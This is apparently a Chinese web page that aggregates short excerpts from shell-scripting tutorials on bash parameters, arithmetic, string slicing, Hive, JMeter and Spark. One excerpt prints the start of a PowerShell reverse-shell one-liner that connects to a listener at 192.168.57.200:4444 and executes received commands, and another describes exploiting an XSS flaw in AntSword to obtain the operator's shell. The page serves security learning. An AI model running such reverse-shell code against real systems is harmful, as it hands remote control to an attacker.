【shell实战训练营Day14】教程文章相关的互联网学习教程文章

七牛云 qshell 批量删除文件【代码】

首先下载qshell 我是win10,下载的amd64 https://developer.qiniu.com/kodo/tools/1302/qshell?ref=support.qiniu.com#3 配置环境变量 登陆七牛云web端获取到ak sk,因为有些操作涉及到权限问题,所以理解为在qshell中登陆 qshell account ak sk name ak sk不用多介绍,name就是个名称,随便取一个 操作之后应该会在C:\Users\Administrator 生成一个.qshell文件夹(我只是在这里记录一下,这句话没啥意义) 账户管理 使用qshell user子命令...

hive里用shell脚本封装HiveF命令

hive里面有个hive -e 命令可以传参数,但是当hql语句多了以后,整个shell脚本会显得比较凌乱,当然有人可能会说hive -f可以实现直接调用一个file,bingo的确如此,但是还是有个很大的缺陷,就是这个不能传参数了,不能传参数在实际的工作中是无法忍受的。于是想到了封装一个命令HiveF,既能直接传入file,又能传参数。其实实现很简单,下面就把代码分享出来。当然还不是很完善,抛砖引玉吧。#!/bin/bash. /etc/profilecat $1 > $1....

Jmeter之Bean shell使用(五)【代码】【图】

1、在Test Plan中定义如下三个变量:2、Bean Shell可脚本如下:a、bean shell可以接受传入参数,如下图:${u1} ${u2} ${u3}b、参数可以通过bsh.args[]按顺序提取c、bean shell提供了一个内置变量Parameters,来保存参数的集合3、运行结果:下图中1输入的这两句设置: ResponseCode = 500;ResponseMessage = "This is a test"; 下图中2输入的这两句设置: log.info(Parameters); log.info(Label); 十、提取json数据 需求:提取sampl...

shell中参数及带色彩打印【图】

shell脚本中的一些函数参数说明如下:#!/bin/bashecho 显示脚本本身: $0echo 显示第一参数: $1echo 显示参数的个数: $#echo 以单个字符串把每个参数连接起来: $*echo 显示脚本当前运行的进程id: $$echo "shift命令可以把参数列表$@中的第一个参数剔除,同时其余的变量向前移一位"shift echo 打印执行"shift"命令之后的第一个参数 $1echo 以参数的形式显示各个参数...

shell脚本传参执行spark-submit

读取多个目录下的本地文件,多个目录通过循环遍历的方式,以参数传递: #!/bin/bash i=0while [ $i -lt 10000 ] do echo "i=$i" spark-submit --class com.link.fblx.readFromPath --driver-memory 20G --executor-memory 20G --num-executors 1 --executor-cores 25 --total-executor-cores 25 --jars jsoup-1.8.1.jar /root/sparkdemo_jar.jar file:///home/zl/data/$i/* /test/zl/fblx_link/20190109/output$i ((i++))don...

远程执行shell脚本

背景: 需要ssh登录到远程机器上做测试 ssh登录到每台机器,执行相同的命令,特别麻烦,怎么才能省点事? 实现: 把命令写到脚本里,放在机器A上,然后使用如下命令即可。 ?ssh $ip? -C "/bin/bash" < /home/test.sh

shell生成指定范围内的随机数【代码】

#!/bin/bash read -p "请输入起始数:" min read -p "请输入终止数:" max if [ $min -gt $max ] then echo "起始数大于终止数!" else echo -n "随机数:" ;expr $(date +%N) % $[$max - $min + 1] + $min #日期函数生成随机数向最大值和最小值的差加1后取余得到一个随机数,然后加上最小值保证能取到的最小值和最大值 fi原文:http://www.cnblogs.com/duolaameng/p/6138765.html

PowerShell:因为在此系统上禁止运行脚本,解决方法【图】

错误提示: yarn:无法加载文件 C:\Users\**\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?Li 所在位置 行:1 字符: 1+ yarn -v+ ~~~~ + CategoryInfo : SecurityError: (:) [],PSSecurityException + FullyQualifiedErrorId : UnauthorizedAccess 解决办法: 计算机上启动 Windows PowerShell 时,执行策略很可能是 Restricted(默认设置)。...

shell算术运算

shell只可以做整数算术运算1、支持的运算符 + 加法 - 减法 * 乘法 / 除法 % 取余2、算术表达式 (1)let 表达式 # let C=$A+$B (2)$((表达式)) # C=$(($A+$B)) (3)$[表达式] # C=$[$A + $B] (4)expr命令 # C=`expr $A + $B` (5)bc命令 # C=`echo "$A+$B" | bc`

【信息安全】反弹shell【代码】

1、windows-powershell反弹shellkali作为服务端,windows使用powershell连接kali,并将自己的shell给kaliwindows端 $client = New-Object System.Net.Sockets.TCPClient('192.168.57.200',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $...

Shell写系统小工具【代码】

#!/usr/bin/bashsource /etc/init.d/functions help_menu(){cat <<-EOFd、显示磁盘利用率m、显示内存利用率u、显示CPU负载情况a、显示IP地址b、显示磁盘分区n、显示网络情况h、显示命令帮助EOF}cat <<-EOFd、显示磁盘利用率m、显示内存利用率u、显示CPU负载情况a、显示IP地址b、显示磁盘分区n、显示网络情况h、显示命令帮助EOFwhile truedotrap "" HUP INT TSTPread -p "请输入要查看的功能编号:[h显示帮助]" num case $num in ...

shell子串介绍【图】

shell子串 a=wo love linux .linux makes us happyecho ${a}输出字符串也可以用echo $aecho ${#a}求字符串的长度echo $a |wc -L expr length “$a”echo “$a” |awk ‘{print length($0)}’echo ${b:2}从0开始,从第二个开始取。 echo ${b:2:3}从2开始,取3个字符。echo $b ====abcdefgabcabcdabcecho ${b#a*c}从开头开始最短匹配长度echo ${b##a*c}从开头开始最长匹配长度echo ${b%a*c}从结尾开始匹配最短匹配长度echo $...

Shell中字符串的切割、拼接、比较、替换【图】

【截取】 一、Linux shell 截取字符变量的前8位,有方法如下: 1.expr substr “$a” 1 8 2.echo $a|awk ‘{print substr(,1,8)}’ 3.echo $a|cut -c1-8 4.echo $ 5.expr $a : ‘(.\).*’ 6.echo $a|dd bs=1 count=8 2>/dev/null123456补充:expr(选项)(参数) expr的常用运算符:+ - * 、 % expr 2 + 3 5来自: http://man.linuxde.net/expr 二、按指定的字符串截取 1、第一种方法: ${varible##*string} 从左向右截取最后一个str...

蚁剑xss漏洞,获取***者shell【代码】【图】

今日在github上看到蚁剑暴露了一个xss漏洞,自己也经常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。 一、漏洞成因 蚁剑shell远程连接失败时,蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。 用过蚁剑的童靴都清楚,当我们远程连接写好的webshell的时候,有时候可能因为shell书写错误或者链接填写不当的时候,会出现大堆的错误代码。 该信息并没有进行 XSS 保护,因此能够利用 js 调...

Bash shell 的算术运算有四种方式

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~1:使用 expr 外部程式加法 r=`expr 4 + 5`echo $r注意! ‘4‘ ‘+‘ ‘5‘ 这三者之间要有空白r=`expr 4 * 5` #错误乘法 r=`expr 4 \* 5`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~2:使用 $(( ))r=$(( 4 + 5 ))echo $r~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~3:使用 $[ ]r=$[ 4 + 5 ]echo $r乘法r=`expr 4 \* 5` r=$(( 4 * 5 ))r=$[ 4 * 5 ]echo $r除法r=`expr 40 / 5` r=$(( 40 / 5 ))r=$[ 40 / 5 ]echo...